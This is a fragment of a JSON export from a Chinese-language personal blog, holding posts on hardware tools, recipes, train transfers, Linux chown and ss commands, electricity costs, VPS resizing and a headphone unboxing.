黑芝麻採收後，壓榨出來的黑麻油"},{"content":"CPU-Z 是一個好簡單好用的電腦硬體規格查詢工具，可以檢查 CPU、主機板、記憶體、顯示卡等各種硬體的型號。\n在重新安裝作業系統或升級電腦配備時，時常會需要查詢電腦中各項設備的型號，例如 CPU 的規格、主機板的型號等，以便安裝適合的驅動程式或是添購適合的硬體設備。\nCPU-Z 是一個很簡單又好用的硬體資訊查詢工具，它可以快速查詢出電腦的 CPU、主機板、記憶體、顯示卡等資訊，輸出的報表非常專業而且詳細，還可以對 CPU 進行進行簡單的標竿測試。\n名稱：CPU-Z 系統硬體資訊查詢工具\n下載網址：www.cpuid.com\nCPU-Z 可以提供的硬資訊相當詳盡、鉅細靡遺，而且非常專業，一般人會需要看的硬體資訊它都會有。以中央處理器（CPU）的資訊來說，有 CPU 的型號、腳位、製程、電壓、熱設計功耗、產品系列代號、支援的指令集、時脈、核心數、執行序數、快取等。\n第二頁還有快取的細部資訊，不過這個一般人比較少會用到。\n第三頁是主機板的資訊，包含製造商、型號、版本、北橋晶片組、南橋晶片組、LPC 匯流排、BIOS 版本、顯示卡介面等。\n第四頁是記憶體的各項資訊，包含記憶體的大小、世代、通道數、時脈等。\n第五頁是每條記憶體插槽的細部資訊，包含記憶體的製造商、大小、頻寬、時脈、序號、製造日期等。\n第六頁是顯示卡（GPU）的資訊，包含製造廠商、型號、記憶體大小等，主機板內建的顯示卡也可以偵測得出來。\n「Bench」這個功能可以進行 CPU 的標竿測試，也就是測試 CPU 的運算能力如何，並且與其他不同的 CPU 測試結果做比較。\n最後一頁是 CPU-Z 的軟體版本資訊，除了 PC 版的 CPU-Z 之外，它也同時提供 Android 版的 CPU-Z，讓手機也可以查詢出非常專業的硬體資訊。\n","permalink":"https://blog.gtwang.org/useful-tools/cpu-z-check-hardware-cpu-memory-graphics-card/","summary":"\u003cp\u003eCPU-Z 是一個好簡單好用的電腦硬體規格查詢工具，可以檢查 CPU、主機板、記憶體、顯示卡等各種硬體的型號。\u003c/p\u003e\n\u003cp\u003e在重新安裝作業系統或升級電腦配備時，時常會需要查詢電腦中各項設備的型號，例如 CPU 的規格、主機板的型號等，以便安裝適合的驅動程式或是添購適合的硬體設備。\u003c/p\u003e","title":"CPU-Z 檢查電腦 CPU、主機板、記憶體、顯示卡等各種硬體型號與規格"},{"content":"這裡示範如何自製酪梨蜂蜜豆漿，既好喝又健康。\n酪梨被金氏世界紀錄列為營養最豐富的水果（請參考農業知識入口網站），但是很多人卻因為不喜歡酪梨的味道而很少去吃它，其實酪梨只要拿來加上蜂蜜與豆漿，打成酪梨蜂蜜豆漿之後，就會非常好喝，連小朋友也很喜歡喝，對於純素者的營養補充非常有幫助。\n最近剛好是酪梨的產季，在各處的水果攤都可以買到新鮮又便宜的酪梨。\n市場的酪梨通常都是綠色的時候就摘下來了，要等到它成熟（轉變為深紅色）之後才能食用。\n轉變為深紅色的酪梨（就像上面這顆）如果沒有要馬上食用，可以先把它放進冰箱，讓它不要熟的太快，這樣可以放比較久，如果繼續放在常溫下，它的顏色會繼續變深，太熟的酪梨果肉會變得爛爛的、不好吃。\n要製作酪梨蜂蜜豆漿，除了準備成熟的酪梨之外，還要準備新鮮的豆漿與蜂蜜，以下是完整的製作過程。\nStep 1\n把成熟的酪梨切開，因為酪梨中間有一顆很大的籽，所以切的時候要用刀子劃一圈的方式來切。\n成熟的酪梨切開後，中間的籽可以很容易就拿出來。\nStep 2\n把酪梨的外皮剝掉並切塊之後，放入果汁機（或調理機）。\nStep 3\n加入豆漿，酪梨與豆漿的比例可依照自己的喜好調整，我是拿半顆酪梨配上大約 800 毫升的豆漿來打。\n如果喜歡喝牛奶的人也可以改用牛奶，有吃蛋的人還可以加入一顆布丁，香味會更濃。 Step 4\n加入蜂蜜，我們家的習慣是使用龍眼蜜，不吃蜂蜜的人也可以用楓糖漿或其他的糖替代。\nStep 5\n用果汁機打完之後，酪梨蜂蜜豆漿就完成了。\n這樣做出來的酪梨蜂蜜豆漿既好喝又營養，我們加阿玄時常早餐就喝這個。\n","permalink":"https://blog.gtwang.org/diy/avocado-honey-soy-milk/","summary":"\u003cp\u003e這裡示範如何自製酪梨蜂蜜豆漿，既好喝又健康。\u003c/p\u003e\n\u003cp\u003e酪梨被金氏世界紀錄列為營養最豐富的水果（請參考\u003ca href=\"https://kmweb.moa.gov.tw/subject/subject.php?id=25543\u0026amp;print=Y\"\u003e農業知識入口網站\u003c/a\u003e），但是很多人卻因為不喜歡酪梨的味道而很少去吃它，其實酪梨只要拿來加上蜂蜜與豆漿，打成酪梨蜂蜜豆漿之後，就會非常好喝，連小朋友也很喜歡喝，對於純素者的營養補充非常有幫助。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近剛好是酪梨的產季，在各處的水果攤都可以買到新鮮又便宜的酪梨。\u003c/p\u003e","title":"[DIY] 自製酪梨蜂蜜豆漿，純素者營養補充來源"},{"content":"苗栗高鐵站旁邊緊鄰台鐵豐富火車站，需要轉乘台鐵的人可以直接走過去搭車。\n從苗栗高鐵站的月台往下看，就可以看到台鐵豐富火車站。\n這是苗栗高鐵站一樓的大廳。\n在第 4 出口旁邊有一個通道可以通往台鐵火車站。\n從這裡往後走到底。\n順著指標通過長廊就可以到達台鐵車站，走這裡的話下雨也不會被淋到。\n這就是台鐵豐富火車站的大門。\n進去就是台鐵的售票大廳。\n這是台鐵的剪票口，進去就是月台了。\n","permalink":"https://blog.gtwang.org/life/thsr-and-train-station-fengfu-miaoli/","summary":"\u003cp\u003e苗栗高鐵站旁邊緊鄰台鐵豐富火車站，需要轉乘台鐵的人可以直接走過去搭車。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e從苗栗高鐵站的月台往下看，就可以看到台鐵豐富火車站。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"台鐵豐富火車站\" loading=\"lazy\" src=\"/life/thsr-and-train-station-fengfu-miaoli/thsr-and-train-station-fengfu-miaoli-20170727-10.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這是苗栗高鐵站一樓的大廳。\u003c/p\u003e","title":"苗栗高鐵站轉車至台鐵豐富火車站"},{"content":"高鐵台南站旁邊就是台鐵沙崙火車站，搭高鐵到台南之後，可以直接轉乘台鐵到台南市區。\n台鐵沙崙火車站跟高鐵站其實是連在一起的，從高鐵月台上就可以清楚看到台鐵的月台。\n這是台鐵沙崙火車站停靠的區間車。\n高鐵台南站走出驗票閘門之後，就可以看到往台鐵車站的指標，以及台鐵的轉乘列車資訊。\n這就是直接通往台鐵沙崙火車站的出口。\n旁邊有兩台高鐵售票機，如果從台鐵車站過來的話，就可以直接在這裡買票，不用下去一樓大廳。\n這是往台鐵沙崙火車站的指標。\n順著長廊走到底就是台鐵沙崙火車站。\n地上也有指標。\n走過來就是台鐵的售票大廳。\n從這裡就可以搭區間車進入台南市區。\n","permalink":"https://blog.gtwang.org/life/thsr-and-train-station-sharon-tainan/","summary":"\u003cp\u003e高鐵台南站旁邊就是台鐵沙崙火車站，搭高鐵到台南之後，可以直接轉乘台鐵到台南市區。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e台鐵沙崙火車站跟高鐵站其實是連在一起的，從高鐵月台上就可以清楚看到台鐵的月台。\u003c/p\u003e","title":"台南高鐵站接台鐵沙崙火車站轉車至台南市區"},{"content":"本篇介紹如何在 Linux 系統上使用 chown 指令，更改檔案或目錄的擁有者與群組設定。\n在 Linux 系統上如果想要更改檔案或目錄的擁有者或群組，可以使用 chown 這個指令來處理，以下是 chown 的基本用法以及一些實用的範例程式碼。\n基本用法 在 Linux 系統上的檔案與目錄都有擁有者以及群組的屬性質，我們可以透過 ls 的輸出來查看每個檔案與目錄的擁有者與群組：\nls -l ls -l 的輸出中，第三欄與第四欄就是檔案或目錄的擁有者與群組名稱，例如這裡的 log 目錄其擁有者就是 root，群組就是 syslog。\n若要更改某個檔案或目錄的擁有者，可以直接使用 chown 更改：\n# 將 myfile 的擁有者改為 myuser sudo chown myuser myfile 這樣就可以將 myfile 這個檔案的擁有者改為 myuser。\n如果要更改檔案或目錄的群組，也可以用 chown 更改：\n# 將 myfile 的群組改為 mygroup sudo chown :mygroup myfile chown 的第一個參數若以冒號開頭，就是代表群組名稱的意思，這一行指令就是將 myfile 這個檔案的群組改為 mygroup。\n若要同時更改 myfile 的擁有者與群組，可以這樣寫：\n# 同時更改擁有者與群組 sudo chown myuser:mygroup myfile 預設的狀況下，chown 在更改檔案的擁有者與群組後，並不會輸出任何訊息（除非出現錯誤），若要讓 chown 明確顯示更改的結果，可以加上 -v 參數：\n# 輸出執行結果 sudo chown -v myuser:mygroup myfile 若不想讓 chown 輸出任何錯誤訊息，可以加上 -f 參數：\n# 不輸出任何錯誤訊息 sudo chown -f myuser:mygroup myfile 遞迴更改整個目錄 如果要一次修改某個目錄下所有檔案與子目錄的擁有者與群組，可以使用 chown 加上 -R 參數來處理：\n# 遞迴更改整個目錄下的所有檔案 sudo chown -R myuser:mygroup myfolder 這樣就會把 myfolder 這個目錄以及其中所有的檔案與子目錄都改成 myuser:mygroup。\n事先確認擁有者與群組 有時候我們在寫指令稿時，會使用 chown 自動更改檔案或目錄的擁有者與群組，此時我們可以在更改擁有者與群組前，先檢查舊的檔案擁有者與群組，確認舊的擁有者與群組屬性是正確的，才繼續更改其擁有者與群組，如果舊的擁有者與群組屬性不符合預期，就不會進行任何變更，避免程式出錯。\nchown 的 --from 參數可以指定舊的擁有者與群組，檢查無誤後才會進行變更：\n# 確認舊的擁有者與群組為 root:syslog sudo chown --from=root:syslog myuser:mygroup myfile 也可以只檢查擁有者或群組：\n# 只確認舊的擁有者為 root sudo chown --from=root myuser:mygroup myfile # 只確認舊的群組為 syslog sudo chown --from=:syslog myuser:mygroup myfile 參考檔案的擁有者與群組 如果我們想要把檔案的擁有者與群組改為跟另一個參考檔案一樣，可以使用 --reference 參數：\n# 將 myfile 的擁有者與群組改為跟 reffile 一樣 sudo chown --reference=reffile myfile 這樣就會把 myfile 的擁有者與群組改為跟 reffile 一樣。\n實用範例 chown 指令本身的用法很單純，不過我們可以結合 Linux 上面的各種指令工具，寫出各種應用的指令稿。\n結合 find 指令與 chown 指令，找出目前目錄下所有的 *.c 檔，並將這些檔案的擁有者與群組改為 myuser:mygroup：\nsudo find ./ -name *.c -exec chown myuser:mygroup {} ; 關於 find 指令的用法，可以參考 Unix/Linux 的 find 指令使用教學、技巧與範例整理。\n參考資料 HowtoForge ","permalink":"https://blog.gtwang.org/linux/linux-chown-command-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Linux 系統上使用 \u003ccode\u003echown\u003c/code\u003e 指令，更改檔案或目錄的擁有者與群組設定。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統上如果想要更改檔案或目錄的擁有者或群組，可以使用 \u003ccode\u003echown\u003c/code\u003e 這個指令來處理，以下是 \u003ccode\u003echown\u003c/code\u003e 的基本用法以及一些實用的範例程式碼。\u003c/p\u003e","title":"Linux 更改檔案擁有者與群組，chown 指令使用教學與範例"},{"content":"這裡介紹如何在 Linux 系統中使用 ss 指令檢測網路的狀態，並提供許多常用的指令範例。\n在 Linux 中若要檢查系統的 socket 狀態，除了使用最傳統的 netstat 指令之外，還有一個 ss 指令也可以達到類似的功能。\n基本用法 如果執行 ss 指令，不加任何參數，就會輸出所有已經建立的 TCP 連線：\nss 以下是一些常用的 ss 指令參數：\n-n：以數值的方式顯示連接埠，不要解析為服務名稱。 -r：將 IP 位址解析為主機名稱。 -l：列出傾聽狀態（listening）的 sockets。 -a：顯示所有的 sockets，包含傾聽狀態（listening）與非傾聽狀態（non-listening）。 -t：只列出 TCP 的 sockets。 -u：只列出 UDP 的 sockets。 -x：只列出 Unix 的 sockets。 -4：只列出 IPv4 的 sockets。。 -6：只列出 IPv6 的 sockets。。 -p：顯示使用 sockets 的程式資訊。 -e：顯示 sockets 細部資訊。 -i：顯示 TCP sockets 內部資訊。 -o：顯示 sockets 的計時器（timer）資訊。 -s：輸出 sockets 的使用統計表。 以下是一些常用的參數組合。\n查詢系統上所有使用 IPv4 所開啟的 sockets：\nss -t4l 查詢系統上所有使用 IPv4 所開啟的 sockets，並列出每個 sockets 所對應的應用程式：\nsudo ss -t4lp 查詢系統上所有 UDP sockets：\nss -ua 輸出 sockets 的使用統計表：\nss -s 篩選器 ss 指令可以自己指定篩選器（filter），篩選出自己需要的 sockets 資訊。\n列出從本機連線到 192.168.0.1 這台主機的所有連線：\nss -o state established dst 192.168.0.1 列出從本機連線到 192.168.0.1 主機 80 連接埠的所有連線：\nss -o state established dst 192.168.0.1:80 列出來自於 192.168.0.2 這台主機的所有連線：\nss -o state established src 192.168.0.2 列出所有 ssh 的連線，包含從本機往外的 ssh 連線，以及從外面連線進來的 ssh 連線：\nss -o state established \u0026#39;( dport = :ssh or sport = :ssh )\u0026#39; 查看自己的網頁伺服與 12.34.56.0/24 網段之間，所有的處於 FIN-WAIT-1 狀態的 sockets，並列出其計時器（timer）：\nss -o state fin-wait-1 \u0026#39;( sport = :http or sport = :https )\u0026#39; dst 12.34.56.0/24 ss 指令的完整說明，可以參考 SS Utility 參考手冊。\n參考資料 Linux.com nixCraft Tecmint ","permalink":"https://blog.gtwang.org/linux/socket-statistics-ss-command-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統中使用 \u003ccode\u003ess\u003c/code\u003e 指令檢測網路的狀態，並提供許多常用的指令範例。\u003c/p\u003e\n\u003cp\u003e在 Linux 中若要檢查系統的 socket 狀態，除了使用最傳統的 \u003ca href=\"/linux/linux-netstat-command-examples/\"\u003enetstat 指令\u003c/a\u003e之外，還有一個 \u003ccode\u003ess\u003c/code\u003e 指令也可以達到類似的功能。\u003c/p\u003e","title":"使用 ss 指令檢查 Linux 網路 Socket 狀態資訊教學"},{"content":"本篇介紹如何查看家用電器的耗電量，以及計算每個月的電費。\n每個人家中都有各種電器，不同的電器用品其耗電量也不同，如果想知道每個電器用了多少的電量與電費，可以從電器的耗電功率以及使用時間來計算。\n計算用電量 用電量是以「度」來計算的，若要評估電器的用電度數，首先要查看電器的功率，再將功率換算成用電度數。\n每一種電器用品上一定會有一張類似這樣的標示，裡面會標示其耗電功率，單位是瓦特（Watt），以這一支聲寶的 14 吋風扇來說，其功率就是 48 瓦特。\n耗電功率是指電器在單位時間所消耗的電量，而實際上用了多少電量，還要依據電器使用的時間來計算，也就是把功率換算成「度」。\n所謂的「1 度電」就是 1000 瓦特（W）的電器，連續使用 1 小時（h）所消耗的電量，可表示為 1000Wh 或 1kWh。\n1 度電（kWh） = 1000 瓦特（W）× 1 小時（h）\n以上面這支 48 瓦特的電扇來說，如果連續使用了 12 小時，那麼它的用電度數就是：\n48 瓦特 / 1000 × 12 小時 = 0.576 度 如果每天都這樣使用這支電扇的話，一個月的用電度數大約就是：\n0.576 度 × 30 天 = 17.28 度 大電扇 比較大的電扇其耗電功率也比較高，這一支 18 吋電扇的耗電功率是 95 瓦特。\n這支 95 瓦特的電扇，如果使用了 3 小時，則其用電度數就是：\n95 瓦特 / 1000 × 3 小時 = 0.285 度 每天使用的話，一個月的用電度數就是：\n0.285 度 × 30 天 = 8.55 度 不管是哪一種電器，只要查到其耗電功率之後，就可以用這個公式算出用電度數了。\nCD 音響 一般的 CD 音響其耗電量通常都不高，這一個小型手提音響的耗電功率是 8.2 瓦特。\n一天聽音樂 4 小時：\n8.2 瓦特 / 1000 × 4 小時 = 0.0328 度 一個月用電度數：\n0.0328 度 × 30 天 = 0.984 度 所以普通的音響是很省電的。\n吹風機 吹風機的耗電量非常高，這一支國際牌吹風機耗電功率是 1,200 瓦特。\n每天用吹風機 10 分鐘：\n1200 瓦特 / 1000 × (10/60) 小時 = 0.2 度 一個月用電度數：\n0.2 度 × 30 天 = 6 度 雖然吹風機很耗電，但是使用時間不長的話，用電量也不高。\n除濕機 這是一台日立除濕機的標示，耗電功率只有 135 瓦特。\n除濕機持續使用 24 小時：\n135 瓦特 / 1000 × 24 小時 = 3.24 度 一個月用電度數：\n3.24 度 × 30 天 = 97.2 度 雖然除濕機感覺沒有很耗電，但是持續使用的話，電費也是很可觀。\n因為除濕機的壓縮機不是持續運轉的，通常都是濕度高的時候會啟動，濕度降低時就會休息，這個 135 瓦特耗電功率應該是運轉時的功率，實際上應該會比這個再低一些。\n能源效率標示 現在許多大型家電都會有這種能源效率的標示，這種標示會直接寫出該電器每年預估的耗電量。\n把這個每年預估的耗電量除以 12 就是每個月的耗電量：\n408 度 / 12 月 = 34 度 計算電費 在計算完電器用品每個月的用電度數之後，就可以依照台電的費率換算成實際要繳納的電費，最快速的方式就是使用台電網站的表燈非時間電價試算工具。\n名稱：表燈非時間電價試算工具\n網址：www.taipower.com.tw\n台電的電費是以累進費率來計算的，而夏天的費率又比平常高一些，下表為適用於一般住宅的電價表，完整的電價表可以參考台電的官方網站。\n如果七月與八月兩個月總共用電量為 800 度，當期的電費就是：\n1.63元 × (120度 × 2) + 2.38元 × [(330度 - 120度) × 2] + 3.52元 × [800度 - (330度 × 2)] = 1,884 元 台電節電獎勵金 台電的節電獎勵是長久以來的政策，只要當期的用電量比去年同期更少，就會有節電獎勵金，每省一度電就可以獲得 0.6 元的獎勵金，這個獎勵金不需要申請、不需要登錄就自動會計算在自己的電費帳單中。\n我前一陣子剛搬家，因為之前的房客在去年夏天有裝冷氣，用電量比較大，而我們家是不吹冷氣的，所以用電量差很多，結果收到電費單之後，發現去年用電量是一千多度，今年降到只剩下一百多度，所以獲得的節電獎勵就把這期的電費完全抵銷了，而且還超過很多，所以這一期的用電變成完全免費。\n除了普通的節電獎勵金之外，台電後來又推出了全民節電運動，原本每省一度電可獲得 0.6 元的獎勵金，只要上網登錄之後，則變成 0.8 元。\n","permalink":"https://blog.gtwang.org/life/how-to-calculate-power-consumption/","summary":"\u003cp\u003e本篇介紹如何查看家用電器的耗電量，以及計算每個月的電費。\u003c/p\u003e\n\u003cp\u003e每個人家中都有各種電器，不同的電器用品其耗電量也不同，如果想知道每個電器用了多少的電量與電費，可以從電器的耗電功率以及使用時間來計算。\u003c/p\u003e","title":"如何查看家用電器耗電量，並計算電費？"},{"content":"本篇介紹如何用手機分享自己的 GPS 定位資訊，讓別人可以即時追蹤自己的位置。\nGlympse 是一個可以即時分享與追蹤 GPS 定位資訊的服務，只要安裝 Glympse 的手機 App 之後，就可以立即將自己的位置分享給別人，讓對方清楚掌握自己的資訊，尤其是在開車接送人的時候很有用。\nGlympse 這個服務完全免費，而且也不需要註冊，安裝手機 App 後即可馬上使用，非常方便。\n名稱：Glympse\n下載網址：Android\nStep 1\n在手機上安裝 Glympse App，打開手機的 GPS 定位功能，並且開啟 Glympse App，然後就可以看到自己目前的地理位置，接著按下右上角的分享位置功能，並調整分享的選項。\nStep 2\n最常用的選項就是設定持續分享 GPS 定位的時間，由於透過網路持續不斷的發送 GPS 位置資訊，比較會損耗手機的電力，所以要設定適合的分享時間，時間到就會自動關閉分享。\n另外一個常用的選項就是分享方式，可以透過 facebook 等管道分享，或是直接把分享 GPS 定位的網址複製到剪貼簿，再用其他方式分享給別人。\nStep 3\n拿到分享 GPS 定位網址的人，就可以直接看到自己即時的定位資訊。Glympse 在啟用分享 GPS 定位之後，就會在背景執行，持續發送 GPS 的資訊。\n","permalink":"https://blog.gtwang.org/mobile/glympse-share-and-track-gps-location-app/","summary":"\u003cp\u003e本篇介紹如何用手機分享自己的 GPS 定位資訊，讓別人可以即時追蹤自己的位置。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.glympse.com/\"\u003eGlympse\u003c/a\u003e 是一個可以即時分享與追蹤 GPS 定位資訊的服務，只要安裝 Glympse 的手機 App 之後，就可以立即將自己的位置分享給別人，讓對方清楚掌握自己的資訊，尤其是在開車接送人的時候很有用。\u003c/p\u003e","title":"Glympse：分享與追蹤 GPS 定位資訊手機 App"},{"content":"這裡介紹如何修改 Linode VPS 的硬碟大小，以及變更主機方案的步驟。\n伺服器使用久了，可能會出現資源不足，或是其他問題需要升級（或降級）硬體設備，最常見的狀況就是硬碟空間不足，或是 CPU 與記憶體不夠等，以下是 Linode VPS 修改硬碟大小以及變更主機方案的步驟。\n不管是變更硬碟大小或是主機方案，都要在 VPS 關機的狀態下進行，如果您的 VPS 主機有提供正式的服務，可以使用另外一個 VPS 副本暫時提供服務，維持服務不中斷，詳細步驟可參考 Linode VPS 虛擬主機升級紀錄。\n修改硬碟大小 Step 1\n若要修改 Linode VPS 虛擬機器內部硬碟大小，首先要把虛擬機器關機，接著點選硬碟的「Edit」連結。\nStep 2\n在編輯硬碟分割區頁面中的「New Size」填入新的硬碟大小，若要增加磁碟空間的話，就把這個值調高，而最高不可以超過自己 VPS 所剩餘的空間大小。而如果這顆硬碟內的資料很少，想要縮減硬碟的大小的話，也可以將這個值調低，但是不可以小於硬碟內部實際資料所使用的空間大小，如果這個值調太小的話，Linode 就不會進行任何動作。\nStep 3\n變更硬碟的大小之後，就可以馬上開機使用 VPS 了。\n變更主機方案 Step 1\n如果想要調整 Linode VPS 的主機方案，不管是升級還是降級，都可以使用 Linode 管理介面的「Resize」功能，選擇新的方案。\n如果是升級方案的話，就直接選更高階的主機方案即可，而在升級方案之後，通常會多出許多可用的硬碟空間，之後在使用變更硬碟大小或是新增硬碟的方式來配置新獲得的空間。\n如果是降級的話，可用的硬碟空間變小，就要先把自己的硬碟配置設定好，太大的硬碟要先縮小，資料太多的話也要先處理掉。\nStep 2\n等待主機方案變更完成之後，就可以直接開機使用了。\nStep 3\n我們可以在 Linode 管理介面的 Linodes 列表看出目前所使用的主機方案，確認是否已經變更成為新的方案。\n","permalink":"https://blog.gtwang.org/web-hosting/linode-vps-resize-disk-change-plan-20170720/","summary":"\u003cp\u003e這裡介紹如何修改 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode VPS\u003c/a\u003e 的硬碟大小，以及變更主機方案的步驟。\u003c/p\u003e\n\u003cp\u003e伺服器使用久了，可能會出現資源不足，或是其他問題需要升級（或降級）硬體設備，最常見的狀況就是硬碟空間不足，或是 CPU 與記憶體不夠等，以下是 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode VPS\u003c/a\u003e 修改硬碟大小以及變更主機方案的步驟。\u003c/p\u003e","title":"Linode VPS 修改硬碟大小，變更主機方案教學"},{"content":"本篇是在高鐵車廂內使用免費 WiFi 無線網路的流程，以及上網速度實測的結果。\n繼吳宗憲抱怨高鐵沒有無線網路之後，行政院馬上加緊趕工，現在高鐵車廂內已經有免費的 WiFi 無線網路可以使用了，雖然有時候使用起來訊號不穩定（尤其是經過隧道的時候），但是大部分的時間都還是可以正常上網的，若有重要郵件要收發、或是 LINE 訊息要傳送的時候，確實方便很多。\n以下是高鐵車廂內使用免費 WiFi 無線網路的流程。\niTaiwan 無線網路 iTaiwan 無線網路是由政府所設置的公共區域免費無線上網服務，台灣許多公共場所都可以使用，最近高鐵車廂內也增設了 iTaiwan 無線網路，使用方式都跟一般的公共場所相同。 Step 1\n選擇 iTaiwan 這個公開的無線網路，連接時不需要密碼。\nStep 2\n如果沒有使用過的人，可以點選上方的「帳號申請」，使用自己的手機號碼來註冊，註冊的過程要收取手機的認證碼，通過之後就可以馬上使用新的帳號上網。\n若已經有 TPE-Free 或 TANet 等帳號的人，也可以使用直接使用自己的帳號直接登入使用。\nStep 3\n接著就可以免費上網了。\n網路速度實測 高鐵車廂內的網路速度還不錯，只是因為車子在行走，有時候訊號會不穩定或是斷線，但是大部分的時間都是可以正常上網的。\n","permalink":"https://blog.gtwang.org/life/thsr-cabin-wifi-201707/","summary":"\u003cp\u003e本篇是在高鐵車廂內使用免費 WiFi 無線網路的流程，以及上網速度實測的結果。\u003c/p\u003e\n\u003cp\u003e繼吳宗憲抱怨高鐵沒有無線網路之後，行政院馬上加緊趕工，現在高鐵車廂內已經有免費的 WiFi 無線網路可以使用了，雖然有時候使用起來訊號不穩定（尤其是經過隧道的時候），但是大部分的時間都還是可以正常上網的，若有重要郵件要收發、或是 LINE 訊息要傳送的時候，確實方便很多。\u003c/p\u003e","title":"台灣高鐵車廂免費 WiFi 無線網路使用方式教學"},{"content":"本篇是一些阿玄最近畫的塗鴉畫。\n這是阿玄設計的卡片，正面有貼紙。\n這是另外一張卡片。\n","permalink":"https://blog.gtwang.org/personal/qixuan-drawing-201707/","summary":"\u003cp\u003e本篇是一些阿玄最近畫的塗鴉畫。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"驚喜盒\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201707/qixuan-drawing-20170704-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"驚喜盒\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201707/qixuan-drawing-20170704-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這是阿玄設計的卡片，正面有貼紙。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"卡片正面\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201707/qixuan-drawing-20170717-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"卡片背面\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201707/qixuan-drawing-20170717-4.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"卡片內容\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201707/qixuan-drawing-20170717-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e這是另外一張卡片。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"卡片正面\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201707/qixuan-drawing-20170718-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"卡片內容\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201707/qixuan-drawing-20170718-1.jpg\"\u003e\u003c/p\u003e","title":"阿玄的塗鴉畫 2017 年 7 月"},{"content":"本篇是鐵三角 ATH-S100 耳機的簡單開箱紀錄。\n最近逛大潤發的時候，看到這款鐵三角的 ATH-S100 耳機在清倉特賣，而我辦公室的耳機也差不多快壞了，所以就買了一個。\n這款鐵三角的 ATH-S100 耳機市價大約是七百多元，大潤發清倉特賣只要 499 元，看起來很便宜。\n打開外盒。\n內容物很簡單，就是一個耳機以及保證書。\n這款耳機的設計是攜帶型的，所以耳機線比較短，只有 1.2 公尺。\n耳機兩邊都可以伸縮。\n這款耳機的特點就是可以翻轉，方便攜帶。\n這是耳機的內側，單體尺寸是 36mm。\n因為在買的時候，沒有注意看它的規格，買回來之後發現它的線很短，比較適合接手機使用，如果放在辦公室接電腦的話，感覺太短了一些。而為了攜帶方便，其單體的大小也比較小，如果是辦公室要用的，還是要買大一點的比較好。\n","permalink":"https://blog.gtwang.org/unboxing/audio-technica-ath-s100-portable-headphones/","summary":"\u003cp\u003e本篇是鐵三角 ATH-S100 耳機的簡單開箱紀錄。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近逛大潤發的時候，看到這款鐵三角的 ATH-S100 耳機在清倉特賣，而我辦公室的耳機也差不多快壞了，所以就買了一個。\u003c/p\u003e","title":"[開箱] 鐵三角 audio-technica ATH-S100 耳機"},{"content":"本篇介紹如何使用 iPerf3 這個網路速度測試工具，在各種作業系統與手機上檢測網路的頻寬。\niPerf3 是一個網路頻寬測試指令工具，支援 IPv4 與 IPv6 網路位址與 TCP、UDP、SCTP 傳輸協定，可在 Windows、Mac OS X、Linux、FreeBSD 與手機等各種平台使用，是一個簡單又實用的小工具。\n安裝 iPerf3 iPerf3 本身其實只是一個以 C++ 所開發的小程式，在 iPerf3 的官方網站上有提供各種平台的 iPerf3 預先編譯版本，下載下來之後不需要安裝，解壓縮後即可使用。\nDebian/Ubuntu Linux 在 Debian 或 Ubuntu Linux 中，可以使用 apt 安裝：\nsudo apt-get install iperf3 CentOS Linux CentOS Linux 中可用 yum 安裝：\nsudo yum install epel-release sudo yum install iperf3 自行編譯安裝 對於沒有提供預先編譯版本的平台（例如樹莓派），也可以自己下載原始碼來編譯安裝：\ntar 